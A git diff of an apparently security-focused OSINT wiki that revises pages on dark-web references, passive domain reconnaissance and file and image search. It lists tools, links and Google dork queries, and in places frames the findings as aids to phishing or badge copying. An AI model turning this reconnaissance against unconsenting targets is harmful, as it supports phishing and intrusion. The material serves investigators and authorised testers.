@@ -73,9 +85,11 @@ A peer-to-peer hypermedia protocol designed to preserve and grow humanity's know Reference -* [https://www.osintcombine.com/post/dark-web-searching](https://www.osintcombine.com/post/dark-web-searching) -* [https://www.osintme.com/index.php/2019/11/24/darknet-diving-conducting-osint-on-onion-sites/](https://www.osintme.com/index.php/2019/11/24/darknet-diving-conducting-osint-on-onion-sites/) -* [https://www.osintme.com/index.php/2020/11/21/list-of-darknet-markets-for-investigators/](https://www.osintme.com/index.php/2020/11/21/list-of-darknet-markets-for-investigators/) -* [https://webhose.io/blog/dark-web/the-top-5-dark-web-search-engines/](https://webhose.io/blog/dark-web/the-top-5-dark-web-search-engines/) +* [OSINT Combine - Dark Web Searching](https://www.osintcombine.com/post/dark-web-searching) +* [OSINTme - Darknet Diving: Conducting OSINT on Onion Sites](https://www.osintme.com/index.php/2019/11/24/darknet-diving-conducting-osint-on-onion-sites/) +* [OSINTme - List of Darknet Markets for Investigators](https://www.osintme.com/index.php/2020/11/21/list-of-darknet-markets-for-investigators/) +* [Webhose - Top 5 Dark Web Search Engines](https://webhose.io/blog/dark-web/the-top-5-dark-web-search-engines/) +* [SANS - Dark Web OSINT With Python](https://www.sans.org/blog/dark-web-osint-with-python-part-one-intro/) +* [EFF - Surveillance Self-Defense: Tor](https://ssd.eff.org/en/module/how-use-tor-windows) diff --git a/cyber-intelligence/osint/domain.md b/cyber-intelligence/osint/domain.md index ae35e85..642ebb5 100644 --- a/cyber-intelligence/osint/domain.md +++ b/cyber-intelligence/osint/domain.md @@ -1,166 +1,229 @@ # Domain -## Domains +Use this page for passive domain investigation: registration data, RDAP/WHOIS, DNS records, passive DNS, certificate transparency, archives, email security records, typosquatting, redirects, and related infrastructure pivots. Active subdomain brute forcing, takeover testing, nuclei scanning, and exploit-driven recon belong in Red Offensive. -A **domain name** is a [string](https://en.wikipedia.org/wiki/String\_\(computer\_science\)) that identifies a realm of administrative autonomy, authority or control within the [Internet](https://en.wikipedia.org/wiki/Internet). Domain names are used in various networking contexts and for application-specific naming and addressing purposes. In general, a domain name identifies a [network domain](https://en.wikipedia.org/wiki/Network\_domain) or an [Internet Protocol](https://en.wikipedia.org/wiki/Internet\_Protocol) (IP) resource, such as a personal computer used to access the Internet, or a server computer. Domain names are often used to identify services provided through the Internet, such as [websites](https://en.wikipedia.org/wiki/Website) and [email](https://en.wikipedia.org/wiki/Email) services +## WHOIS vs. RDAP -Domains, more than almost any other target, have one of the largest assortments of associated data points. The most important that we will look for out of this section is the Registration data, the hosting data, site information, archived data, and analytics. +WHOIS is the older registration lookup protocol. It is useful, but responses are inconsistent across registrars and hard to parse reliably. -## **Whois Vs. RDAP** +RDAP (Registration Data Access Protocol) is the modern successor. The core RFC 7480 series was published in 2015, and ICANN's gTLD RDAP requirements have continued to expand since then. RDAP provides structured JSON responses, better internationalization support, authentication-aware access, RESTful APIs, and more consistent privacy handling. -Whois is a great tool for gathering registration data for IP addresses and domains. The only problem with it is that there is not a clearly defined structure to organize registration data points and keep them maintained. Enter RDAP. A new Standard as of 2019, RDAP lookups will quickly replace WHOIS lookups. +* [RDAP Lookup](https://client.rdap.org) +* [ICANN RDAP](https://www.icann.org/rdap) -* RDAP lookup tool - [https://client.rdap.org](https://client.rdap.org) -* General information on RDAP - [https://www.icann.org/rdap](https://www.icann.org/rdap) +## Domain.html -## Domain Analysis Tools +Domain.html is a multi-lookup helper for pivoting through domain investigation sources. -
+* **Registration Data** - WHOIS/RDAP-style ownership and registrar details. +* **Hosting Data** - Hosting provider and related infrastructure. +* **Archive Data** - Wayback Machine, Archive.today, and other historical snapshots. +* **Analytics Data** - Similar sites, backlinks, and relationship pivots. +* **Threat Data** - Use the Threat Data page for reputation and enrichment. +* **Shortened URL Metadata** - Shortener preview and redirect investigation. -Domain.html +Local helper copy: [Domain.html](../../.gitbook/assets/Domain.html) -Domain.html is a tool that allows us to research multiple data points associated with a domain that might be handy during an investigation. +## Domain Toolboxes -* Registration Data - This tool will check the domain for whois based registration data against multiple sources to get the most up to date data. -* Hosting Data - This is the information that shows which provider is physically hosting the domain. Be sure to look for indicators if the target domain is hosted by a hosting provider, or self hosted by your target. -* Exposed Data - Any information that may be exposed to the public. (Other sources are better) -* Archive Data - When researching a domain, sometimes you can find older cached or saved versions of the website that may yield valuable information. These include Google Cache, Archive.is, and the WayBack Machine. -* Analytics data - This is a grab bag of handy searches, ranging from general site details and analytics, to similar sites on the web, or checks for backlinks to from other sites. -* Threat Data - Discussed under the Blue - Threat Data section -* Shortened URL metadata. +* [ViewDNS](https://viewdns.info/) - DNS, reverse IP, IP history, and related lookup utilities. +* [DNSDumpster](https://dnsdumpster.com/) - Passive DNS reconnaissance and visualization. +* [MXToolbox](https://mxtoolbox.com/) - MX, DNS, DMARC, and blacklist diagnostics. +* [DNSLytics](https://dnslytics.com/) - Domain/IP/provider relationships and historical data. +* [HostSpider](https://github.com/h3x0crypt/HostSpider) - Domain information gathering CLI. -
+## Passive DNS and Historical Records -{% file src="../../.gitbook/assets/Domain.html" %} +Passive DNS systems collect observed DNS resolution history. Use them to find past hosting, related subdomains, and infrastructure relationships without directly touching a target. -
+* [SecurityTrails](https://securitytrails.com/) - Passive DNS, WHOIS history, and subdomains. +* [Farsight DNSDB](https://www.farsightsecurity.com/solutions/dnsdb/) - Passive DNS database. +* [Microsoft Defender Threat Intelligence](https://ti.defender.microsoft.com/) - Formerly RiskIQ/PassiveTotal; passive DNS, WHOIS, certificates, trackers, and threat intelligence. +* [Passive DNS Mnemonic](https://passivedns.mnemonic.no/) - Historical DNS data. +* [Cisco Umbrella Investigate](https://umbrella.cisco.com/) - DNS security and passive DNS context. +* [AlienVault OTX](https://otx.alienvault.com/) - Indicator relationships and passive DNS pivots. -Domain Toolboxes +More indicator-focused passive DNS sources are maintained on Threat Data. +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} +## Reverse WHOIS and Reverse IP -These next few tools are collections of utilities focused around domains. Some can be used for research on other network artifacts like IP addresses and email records, but DNS records and domain related metadata is really where they shine. +* [ViewDNS Reverse IP](https://viewdns.info/reverseip/) - Domains hosted on the same IP. +* [WhoisXMLAPI Reverse WHOIS](https://www.whoisxmlapi.com/reverse-whois-search) - Search domains by registrant name, email, or organization. +* [DomainTools Reverse WHOIS](https://reversewhois.domaintools.com/) - Commercial reverse WHOIS. +* [Hosting Checker](https://hostingchecker.com/) - Hosting provider and shared-hosting lookup. +* [YouGetSignal Reverse IP](https://www.yougetsignal.com/tools/web-sites-on-web-server/) - Domains sharing an IP. +* [Bing IP Search](https://www.bing.com/) - Use `ip:x.x.x.x` to find indexed domains on an IP. -* [ViewDNS](https://viewdns.info/) - Huge toolbox with various utilities for enumerating information about a domain. -* [DNSDumpster](https://dnsdumpster.com/) - Free domain research tool that can discover hosts related to a domain. -* [MXToolbox ](https://mxtoolbox.com/)- Checks MX information for the given domain -* [W3DT](https://w3dt.net) - W3dt.Net is an online network troubleshooting site dedicated to providing relevant real-time data regarding networks, websites and other technical resources. -* [DNSLytics](https://dnslytics.com/) - Find out everything about a domain name, IP address or provider. Discover relations between them and see historical data. Use it for your digital investigation, fraud prevention or brand protection. -* [HostSpider](https://github.com/h3x0crypt/HostSpider) - Command line tool that gathers tons of information about a domain including DNS records, subdomains, WHOIS, Cloudflare IP, and more! +## Passive Subdomain Discovery -
+These tools primarily use public datasets, certificate transparency, search engines, or other passive sources. They are useful for OSINT and scoping, but review each tool's options because some can also perform active queries. -
+* [Chaos](https://chaos.projectdiscovery.io/) - ProjectDiscovery subdomain dataset. +* [Pentest-Tools Subdomain Finder](https://pentest-tools.com/information-gathering/find-subdomains-of-domain) - Online subdomain discovery. +* [censys-subdomain-finder](https://github.com/christophetd/censys-subdomain-finder) - Enumerates subdomains from Censys certificate data. +* [ctfr](https://github.com/UnaPibaGeek/ctfr) - Certificate Transparency subdomain discovery. +* [Sublist3r](https://github.com/aboul3la/Sublist3r) - OSINT subdomain enumeration. Some older sources it references, such as ThreatCrowd, are no longer active. +* [Subfinder](https://github.com/projectdiscovery/subfinder) - Fast passive subdomain discovery by ProjectDiscovery. +* [Assetfinder](https://github.com/tomnomnom/assetfinder) - Finds domains and subdomains related to a target. -Sub-domain Discovery +Active DNS reconnaissance and brute forcing tools such as Amass active modes, puredns, dnsenum, fierce, dnsrecon, MassDNS, and dnsx are preserved in Red Offensive. -There are tons of highly effective tools for subdomain enumeration and brute forcing, but they can be quite noisy. During the Passive Recon phase of a penetration test, we can start with any subdomains recorded by other sources to plan out our attack/test. +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -* [https://omnisint.io/](https://omnisint.io/) - Project Crobat: Rapid7's DNS Database easily searchable via a lightening fast API, with domains available in milliseconds. -* [Spyse Sub-domain finder](https://spyse.com/tools/subdomain-finder) -* [Pentest Tool's Sub-domain Finder](https://pentest-tools.com/information-gathering/find-subdomains-of-domain) -* [censys-subdomain-finder](https://github.com/christophetd/censys-subdomain-finder) - This is a tool to enumerate subdomains using the Certificate Transparency logs stored by [Censys](https://censys.io). -* [ctfr](https://github.com/UnaPibaGeek/ctfr) - Abusing Certificate Transparency logs for getting HTTPS websites subdomains. -* [Sublist3r](https://github.com/aboul3la/Sublist3r) - Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT. It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting. Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing, Baidu and Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS. - * [https://tryhackme.com/room/rpsublist3r](https://tryhackme.com/room/rpsublist3r) -* [puredns](https://github.com/d3mondev/puredns) - Puredns is a fast domain resolver and subdomain bruteforcing tool that can accurately filter out wildcard subdomains and DNS poisoned entries. +## Domain Reputation and Threat Intelligence -
+Domain reputation lookups are maintained on Threat Data to avoid repeating the same VirusTotal, URLhaus, PhishTank, Talos, OTX, Pulsedive, and Google Safe Browsing resources across multiple pages. -
+{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} -Domain Certificates +## Email Security Records -Domain Certificates are an interesting and useful item to research when mapping out a target domain. Beyond the various attacks that can be performed by exploiting these certificates, looking up the domain certificates can lead to discovery of hosts, sub-domains, and related targets that were previously undiscovered. +Email authentication records help verify legitimate sending infrastructure and can expose authorized third-party services. -* [Crt.sh](https://crt.sh) - Enter an Identity (Domain Name, Organization Name, etc), a Certificate Fingerprint (SHA-1 or SHA-256) or a crt.sh ID to return detailed domain and certificate information. -* [CTSearch](https://ui.ctsearch.entrust.com/ui/ctsearchui) - Certificate Transparency Search Tool -* [tls.bufferover.run](https://tls.bufferover.run/) - Quickly find certificates in IPv4 space -* [CertSpotter](https://sslmate.com/certspotter/) - Monitors your domains for expiring, unauthorized, and invalid SSL certificates -* [SynapsInt](https://synapsint.com/) - The unified OSINT research tool -* [Censys - Certificates](https://search.censys.io/certificates) - Certificates Search -* [PassiveTotal](https://www.riskiq.com/products/passivetotal/) - Security intelligence that scales security operations and response -* [Google Transparency Report](https://transparencyreport.google.com/https/certificates) - A tool used to look up all of a domain’s certificates that are present in [active public Certificate Transparency logs](https://www.certificate-transparency.org/known-logs) -* [https://sslmate.com/labs/ct\_policy\_analyzer/](https://sslmate.com/labs/ct\_policy\_analyzer/) - Certificate Transparency Policy Analyzer +* [MXToolbox DMARC Lookup](https://mxtoolbox.com/dmarc.aspx) +* [MXToolbox SPF Lookup](https://mxtoolbox.com/spf.aspx) +* [DKIM Validator](https://dkimvalidator.com/) +* [DMARCian Inspector](https://dmarcian.com/dmarc-inspector/) +* [EasyDMARC Tools](https://easydmarc.com/tools/dmarc-lookup) +* [Mail-Tester](https://www.mail-tester.com/) -
+## Typosquatting and Domain Permutations -
+* [dnstwist](https://github.com/elceef/dnstwist) - Domain permutation engine for typosquatting and phishing detection. +* [URLCrazy](https://github.com/urbanadventurer/urlcrazy) - Domain typo and variation generator. -Web Site Change Tracking +## Favicon Hash and Technology Fingerprinting -Some times a target will change a website and you will want to be notified right away, usually to see what has changed and how you can exploit it. +* [Shodan Favicon Hash Search](https://www.shodan.io/) - Use `http.favicon.hash:` to find related servers. +* [FavFreak](https://github.com/devanshbatham/FavFreak) - Fetch favicon hashes for Shodan searches. +* [Wappalyzer](https://www.wappalyzer.com/) - Website technology profiler. +* [BuiltWith](https://builtwith.com/) - Website technology and hosting profile. +* [WhatRuns](https://www.whatruns.com/) - Browser extension for web technology detection. +* [Netcraft Site Report](https://sitereport.netcraft.com/) - Site technology and hosting report. -* [Follow that page](https://followthatpage.com/) - Follow That Page is a change detection and notification service that sends you an email when your favorite web pages have changed. -* [Visual Ping](https://visualping.io/) - Tool that can track multiple different kinds of changes in a particular webpage and alert on specific conditions. +## Certificate Transparency -
+* [crt.sh](https://crt.sh) - Certificate Transparency search. +* [Entrust CTSearch](https://ui.ctsearch.entrust.com/ui/ctsearchui) +* [CertSpotter](https://sslmate.com/certspotter/) - Certificate monitoring. +* [SynapsInt](https://synapsint.com/) - Unified OSINT research tool. +* [Censys Certificates](https://search.censys.io/certificates) +* [Google Certificate Transparency Report](https://transparencyreport.google.com/https/certificates) +* [SSLMate CT Policy Analyzer](https://sslmate.com/labs/ct_policy_analyzer/) -
+## Archive and Historical Data -URL Shortening and Redirections +* [Wayback Machine](https://web.archive.org/) - Historical website snapshots. +* [Archive.today](https://archive.ph/) - On-demand and historical page archives. +* [CachedView](https://cachedview.com/) - Google cache, Wayback Machine, and Archive.today helper. +* [waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch URLs from the Wayback Machine. +* [waymore](https://github.com/xnl-h4ck3r/waymore) - URL discovery from web archives and public datasets. -* [https://shorteners.grayhatwarfare.com](https://shorteners.grayhatwarfare.com) - search URL Shorteners -* [urlhunter](https://github.com/utkusen/urlhunter) - a recon tool that allows searching on URLs that are exposed via shortener services -* [https://checkshorturl.com](https://checkshorturl.com) - Get information about a shortened link -* [http://redirectdetective.com/](http://redirectdetective.com/) - Where does this redirection go? -* [https://wheregoes.com](https://wheregoes.com) - Redirection link enumeration tool -* [https://lookyloo.circl.lu](https://lookyloo.circl.lu) - Redirection link enumeration tool -* [https://www.scribd.com/doc/308659143/Cornell-Tech-Url-Shortening-Research](https://www.scribd.com/doc/308659143/Cornell-Tech-Url-Shortening-Research) -* How to check a short link instead of being redirected: - * bit.ly - add + at the end - * cutt.ly - add @ - * tiny.cc - add = - * tunyurl.com - add "preview." to the beginning of the url. +Google removed the old cache link feature from search results, so avoid relying on Google cache workflows for future investigations. -
+## Website Change Tracking -
+* [Follow That Page](https://followthatpage.com/) - Email alerts for web page changes. +* [Visualping](https://visualping.io/) - Visual and content change monitoring. -Similar Web Site Search +## URL Shortening and Redirections -* [https://www.similarsites.com/](https://www.similarsites.com/) - Enter a website URL and view websites that are similar. -* [https://siteslike.com/](https://siteslike.com/) - Enter a URL or keyword and view websites that are similar or match your keyword -* [https://www.similarweb.com/](https://www.similarweb.com/) - A great tool for finding similar and/or competitor websites. Search via website URL. +* [GrayHatWarfare URL Shorteners](https://shorteners.grayhatwarfare.com) - Searches URLs exposed by shortener services. +* [urlhunter](https://github.com/utkusen/urlhunter) - Finds URLs exposed through shorteners. +* [Unshorten.It](https://unshorten.it/) - Reveals shortened-link destinations. +* [Redirect Detective](http://redirectdetective.com/) - Redirect-chain analysis. +* [Where Goes?](https://wheregoes.com) - URL redirect tracing. +* [Lookyloo](https://lookyloo.circl.lu) - Web forensics and redirect-chain capture. -
+Shortener preview tricks: -
+* **bit.ly** - Add `+` to the end of the URL. +* **cutt.ly** - Add `@` to the end of the URL. +* **tiny.cc** - Add `=` to the end of the URL. +* **tinyurl.com** - Add `preview.` before the host. -Browser Proxy/Simulator +## Similar Website Search -For when you want to look at a site, without interacting with it. +* [SimilarSites](https://www.similarsites.com/) +* [SitesLike](https://siteslike.com/) +* [Similarweb](https://www.similarweb.com/) -* [https://www.wannabrowser.net/](https://www.wannabrowser.net/) - With Wannabroser you can have a look at the HTML-source code of any website from the view of any User-Agent you like. It's even possible to detect simple cloaking using Wannabrowser if the cloaking is just based on the visiting User-Agent. -* [https://www.browserling.com/](https://www.browserling.com/) - Used for browser testing, but can be used for safely looking at various sites. -* [https://www.url2png.com/](https://www.url2png.com/) - Capture snapshots of any website +## Safe Browser Views -
+* [WannaBrowser](https://www.wannabrowser.net/) - View source using different user-agent strings. +* [Browserling](https://www.browserling.com/) - Browser testing through hosted browsers. +* [URL2PNG](https://www.url2png.com/) - Website screenshots without visiting directly. -
+## Miscellaneous Domain Utilities -Misc. Utilities +* [DNPedia](https://dnpedia.com/) - Domain statistics, scripts, news, and tools. +* [Google Admin Toolbox Dig](https://toolbox.googleapps.com/apps/dig/) - Web-based DNS lookup. +* [Backlink Checker](https://smallseotools.com/backlink-checker/) - Backlink monitoring. +* [DomLink](https://github.com/vysecurity/DomLink) - Finds organization names and email addresses from a domain. +* [Unfurl](https://dfir.blog/unfurl/) - Breaks down URLs into components. +* [r3con1z3r](https://github.com/abdulgaphy/r3con1z3r) - Web-based footprinting and OSINT CLI. +* [theHarvester](https://github.com/laramies/theHarvester) - Public-source email, host, and subdomain gathering. +* [gau](https://github.com/lc/gau) - Fetches known URLs from OTX, Wayback Machine, and Common Crawl. +* [lbd](https://www.kali.org/tools/lbd/) - Load-balancing detector. +* [Metagoofil](https://github.com/laramies/metagoofil) - Extracts metadata from public documents for a domain. +* [Cache Checker](https://www.giftofspeed.com/cache-checker/) - Lists cached web files and cache behavior. +* [CloudFlair](https://github.com/christophetd/CloudFlair) - Finds possible Cloudflare origin IPs from scan data. +* [cf-check](https://github.com/dwisiswant0/cf-check) - Checks Cloudflare protection. +* [AnalyticsRelationships](https://github.com/Josue87/AnalyticsRelationships) - Finds related domains through shared Google Analytics IDs. +* [LOTS Project](https://lots-project.com/) - Legitimate domains commonly abused for phishing, C2, exfiltration, and malware delivery. -* [DNPedia](https://dnpedia.com/) - Domain Name Solutions, Statistics, Scripts, News and Tools -* [https://riddler.io/](https://riddler.io/) - Obtain network information from F-Secure Riddler.io API. -* [Google's Online Dig command](https://toolbox.googleapps.com/apps/dig/) - Online version of the Dig command -* [SimilarWeb Traffic Analytics](https://www.similarweb.com) - Compare meta data about domains and traffic to other elements on the web -* [Backlink Checker](https://smallseotools.com/backlink-checker/) - Tool to easily monitor backlinks for a particular domain. -* [DomLink](https://github.com/vysecurity/DomLink) - DomLink is a tool that uses a domain name to discover organization name and associated e-mail address to then find further associated domains. -* [https://dfir.blog/unfurl/](https://dfir.blog/unfurl/) - Easily breakdown and visualize the elements of a URL link. -* [r3con1z3r](https://github.com/abdulgaphy/r3con1z3r) - R3con1z3r is a lightweight Web information gathering tool with an intuitive features written in python. it provides a powerful environment in which open source intelligence (OSINT) web-based footprinting can be conducted quickly and thoroughly. -* [emailharvester](https://www.kali.org/tools/emailharvester/) - A tool to retrieve Domain email addresses from Search Engines. -* [https://github.com/lc/gau](https://github.com/lc/gau) - getallurls (gau) fetches known URLs from AlienVault's [Open Threat Exchange](https://otx.alienvault.com), the Wayback Machine, and Common Crawl for any given domain. Inspired by Tomnomnom's [waybackurls](https://github.com/tomnomnom/waybackurls). -* [lbd](https://www.kali.org/tools/lbd/) - Checks if a given domain uses load-balancing. -* [Metagoofil ](https://github.com/laramies/metagoofil)- Tool for extracting metadata out of public documents. -* [https://www.giftofspeed.com/cache-checker/](https://www.giftofspeed.com/cache-checker/) - This tool lists which web files on a website are cached and which are not. Furthermore it checks by which method these files are cached and what the expiry time of the cached files is. -* [CloudFlair](https://github.com/christophetd/CloudFlair) - Find origin servers of websites behind CloudFlare by using Internet-wide scan data from Censys. -* [cf-check](https://github.com/dwisiswant0/cf-check) - Check an Host is Owned by CloudFlare. -* [AnalyticsRelationships](https://github.com/Josue87/AnalyticsRelationships) - Get related domains / subdomains by looking at Google Analytics IDs -* [https://lots-project.com/?s=09](https://lots-project.com/?s=09) - Attackers are using popular legitimate domains when conducting phishing, C\&C, exfiltration and downloading tools to evade detection. The list of websites below allow attackers to use their domain or subdomain. - -
- -## **Investigation Mind Maps** +## Google Dorking for Domains + +* `site:example.com` - Indexed pages for a domain. +* `site:*.example.com` - Indexed subdomains. +* `site:example.com filetype:pdf` - Specific file types. +* `site:example.com inurl:admin` - Admin-related paths. +* `site:example.com intitle:"index of"` - Directory listings. +* `intext:"example.com" site:pastebin.com` - Domain mentions in pastes. +* `related:example.com` - Similar websites. + +{% content-ref url="search-engines/google-dorking-cheatsheet.md" %} +[google-dorking-cheatsheet.md](search-engines/google-dorking-cheatsheet.md) +{% endcontent-ref %} + +## Domain Monitoring + +* [DomainTools](https://www.domaintools.com/) - Domain research, WHOIS history, DNS records, and brand monitoring. +* [ExpiredDomains.net](https://www.expireddomains.net/) - Expiring and deleted domains. +* [WhoisXMLAPI Domain Availability API](https://whoisxmlapi.com/domain-availability-api) - Domain availability monitoring. + +Subdomain takeover testing with nuclei, Subjack, and related tools is offensive validation and belongs with active recon and web application testing. + +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} + +{% content-ref url="../../web-app-hacking/" %} +[web-app-hacking](../../web-app-hacking/) +{% endcontent-ref %} + +## Deprecated or Offline Tools + +* **omnisint.io / Project Crobat** - Rapid7 DNS dataset service discontinued. +* **ThreatCrowd** - Offline/deprecated; data migrated to AlienVault OTX. +* **tls.bufferover.run** - BufferOver services discontinued. +* **Riddler.io** - Discontinued F-Secure network intelligence API. +* **CheckShortURL** - Frequently offline/unreliable. +* **W3DT** - Appears offline. +* **DomainIQ** - Service unavailable. +* **SubOver** - No longer maintained; use current takeover detection workflows in active recon. +* **Spyse** - Rebranded/acquired and no longer the same free OSINT search engine. +* **DomainFuzz** - Repository appears unavailable. +* **Bolster CheckPhish at bolster.ai/checkphish** - Not specifically a typosquatting resource. + +## Investigation Mind Maps ![](<../../.gitbook/assets/image (40).png>) diff --git a/cyber-intelligence/osint/files-media-breach-paste-code.md b/cyber-intelligence/osint/files-media-breach-paste-code.md index 4fe26d8..d02596e 100644 --- a/cyber-intelligence/osint/files-media-breach-paste-code.md +++ b/cyber-intelligence/osint/files-media-breach-paste-code.md @@ -2,36 +2,36 @@ ## Files and Documents -Files and Media are one of the more juicy targets to look for when planning a penetration test. For companies that publish things to the web on a regular basis, there is constantly information that is overlooked and should not have been sent out of the organization. I have found things like email distribution lists, Internal only email addresses perfect for phishing, personnel information, client communications, etc. Dont forget public facing FTP servers. They always seem to have something juicy hidden in them. +Files and media are among the most valuable targets to investigate when planning a penetration test. Companies that regularly publish content to the web frequently overlook sensitive information that should never have left the organization. Common discoveries include email distribution lists, internal-only email addresses perfect for phishing campaigns, personnel information, client communications, and more. Don't forget to check public-facing FTP servers—they often contain sensitive data hidden in plain sight. **Documents.html** -Documents.html is a tool that allows you to take a search term related to your target, and search for various file types associated with the term. The term should be something as unique as possible, but still related to the target: company name, platform, application, client, etc. Perform multiple searches for various terms for the best coverage. +Documents.html is a tool that enables you to search for various file types associated with a target-related search term. Choose terms that are as unique as possible while remaining relevant to the target, such as company names, platform identifiers, application names, or client references. For optimal coverage, perform multiple searches using different search terms.
Document Search Tools * [Google Custom Search Engine for Documents](https://cse.google.com/cse?cx=001580308195336108602:vvchyaurf\_4#gsc.tab=0) -* [http://www.uvrx.com/](http://www.uvrx.com/) - The most comprehensive online file storage search engine. They have individual search engines for badongo, Mediafire, Zshare, 4shared and taringa. They also provide a search all function that searches filefactory, depositfiles, easy-share, sharedzilla, sendspace, yousendit, letitbit, drop, sharebee, rapidspread, and many others. * [PowerMeta](https://github.com/dafthack/PowerMeta) - PowerMeta searches for publicly available files hosted on various websites for a particular domain by using specially crafted Google, and Bing searches. It then allows for the download of those files from the target domain. After retrieving the files, the metadata associated with them can be analyzed by PowerMeta. Some interesting things commonly found in metadata are usernames, domains, software titles, and computer names. * [goofile](https://www.kali.org/tools/goofile/) - Use this tool to search for a specific file type in a given domain. * [FilePhish](https://cartographia.github.io/FilePhish/) - A simple OSINT Google query builder for fast and easy document and file discovery. * [MetaFinder](https://github.com/Josue87/MetaFinder) - Search for documents in a domain through Search Engines (Google, Bing and Baidu). The objective is to extract metadata +* [Archive.org Wayback Machine](https://web.archive.org/) - Access historical versions of websites and documents that may no longer be publicly available. Essential for finding deleted or modified content. +* [FOCA](https://github.com/ElevenPaths/FOCA) - Fingerprinting Organizations with Collected Archives. Extracts metadata and hidden information from documents.
-{% file src="../../.gitbook/assets/Documents (1).html" %} +Local helper copy: [Documents.html](../../.gitbook/assets/Documents.html)
Public Directory, FTP, and Cloud -* [http://palined.com/search/](http://palined.com/search/) - Search for files and open directories via keyword. Uses a Google CSE. * [https://www.filechef.com](https://www.filechef.com) - Search for open directories and files on the web or in Google Drives via keywords. Including document, video, audio, image and executable files. Uses Google dorks. * [Napalm FTP Indexer](https://www.searchftps.net/) - Search for documents in public FTP servers * [MMNT](https://www.mmnt.ru/) - Russian FTP indexer -* [GreyhatWarfare Public AWS Buckets](https://buckets.grayhatwarfare.com/) - Search for publically acessible AWS S3 buckets. +* [GrayHatWarfare](https://buckets.grayhatwarfare.com/) - Search for publicly accessible AWS S3 buckets, Azure blobs, and Google Cloud Storage buckets. * [MS Azure Portal](https://ms.portal.azure.com/) - Search for public blobs * [https://osint.sh/buckets/](https://osint.sh/buckets/) - Find public AWS and Azure buckets and documents via keyword. * [https://www.gdrivesearch.com/](https://www.gdrivesearch.com/) - A simple and fast tool that allows you to search Google Drive for files. @@ -44,20 +44,19 @@ Documents.html is a tool that allows you to take a search term related to your t Article, Presentation, and Book search * [https://libgen.rs/](https://libgen.rs/) - This is the largest free library in human history. Giving the world free access to over 84 million scholarly journals, over 6.6 million academic and general-interest books, over 2.2 million comics, and over 381 thousand magazines. Commonly referred to as "Libgen" for short. Libgen has zero regard for copyright. -* [https://sci-hub.se/](https://sci-hub.se/) - A "shadow library" that provides free access to millions of research papers and books by bypassing paywalls. SciHub has zero regard for copyright. +* [Sci-Hub](https://sci-hub.se/) - A "shadow library" that provides free access to millions of research papers and books by bypassing paywalls. Note: Domain frequently changes due to legal actions. Current mirrors can be found via search engines. Sci-Hub has zero regard for copyright. * [https://the-eye.eu/public](https://the-eye.eu/public) - An open directory data archive dedicated to the long-term preservation of any and all data including websites, books, games, software, video, audio, other digital-obscura and ideas. Currently hosts over 140TB of data for free. * [https://eyedex.org](https://eyedex.org) - A searchable index of the-eye.eu. Much faster than manually digging through subfolders or using Google dorks. * [https://doaj.org](https://doaj.org) - Search over 16,000 journals, over 6.5 million articles in 80 different languages from 129 different countries. -* [https://www.slideshare.net/](https://www.slideshare.net/) - Allows users to upload content including presentations, infographics, documents, and videos. Users can upload files privately or publicly in PowerPoint, Word, PDF, or OpenDocument format - * [https://slideshare-downloader.herokuapp.com](https://slideshare-downloader.herokuapp.com) - Enter the URL of any Slideshare document and this tool will download it for you. +* [https://www.slideshare.net/](https://www.slideshare.net/) - Allows users to upload content including presentations, infographics, documents, and videos. Users can upload files privately or publicly in PowerPoint, Word, PDF, or OpenDocument format. Note: SlideShare is now part of Scribd.
## **Images/Videos** -While having other functionality Michael Bazzell's **Images.html** and **Videos.html** tool helps search for image terms across multiple platforms. Looking for faces of employees? Maybe a picture of their security badge you can copy? Image of a target you can extract metadata from later? Start with a good image search. Google is hard to beat for this but there are other platforms that can lead to some interesting discoveries. +Michael Bazzell's **Images.html** and **Videos.html** tools help search for visual content across multiple platforms. Whether you're looking for employee faces, photos of security badges that could be replicated, or images containing extractable metadata, starting with a comprehensive image search is essential. While Google's image search is highly effective, alternative platforms can yield unique and valuable discoveries. -\*Note - this tool is only to find images associated with a search term. If you have an image and you would like to find out more information about it, that will be discussed under the Forensics section. +**Note:** These tools are designed to find images associated with search terms. If you already have an image and need to extract information from it, refer to the Image Analysis and Forensics section below or the dedicated Forensics section of this guide. * [OSHINT IMGINT Links](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/imagery-intelligence-imint) @@ -70,6 +69,9 @@ While having other functionality Michael Bazzell's **Images.html** and **Videos. * [https://github.com/GuidoBartoli/sherloq](https://github.com/GuidoBartoli/sherloq) - An open-source digital image forensic toolset * [https://www.peteyvid.com/](https://www.peteyvid.com/) - A video and audio search engine that searches over 70 different platforms. * [CameraTrace](http://www.cameratrace.com/trace) - Trace the location a camera has been by the metadata it embeds in photos that end up on the internet. +* [ExifTool](https://exiftool.org/) - Platform-independent library and command-line application for reading, writing and editing metadata in a wide variety of files. +* [Jeffrey's Image Metadata Viewer](http://exif.regex.info/exif.cgi) - Online tool for viewing and analyzing image metadata. +* [InVID/WeVerify](https://www.invid-project.eu/tools-and-services/invid-verification-plugin/) - Browser plugin for video and image verification, useful for detecting manipulated media. @@ -78,6 +80,8 @@ While having other functionality Michael Bazzell's **Images.html** and **Videos. Reverse Image Search * [The Wolfram Language Image Identification Project](https://www.imageidentify.com/) +* [Yandex Images](https://yandex.com/images/) — Often superior to Google for reverse image search, particularly for non-Western content +* [Bing Visual Search](https://www.bing.com/visualsearch) — Microsoft's reverse image search with strong results for product identification * [pic.sogou.com](https://pic.sogou.com/) — chinese reverse image search engine * [Image So Search](https://image.so.com/) — Qihoo 360 Reverse Images Search * [Revesearch.com](https://revesesearch.com) — allows to upload an image once and immediately search for it in #Google, #Yandex, and #Bing. @@ -94,10 +98,8 @@ While having other functionality Michael Bazzell's **Images.html** and **Videos. Facial Recognition -* [pictriev](http://pictriev.com/) - Search engine for faces. Upload the picture of choice and find links to other pictures with similar people. -* 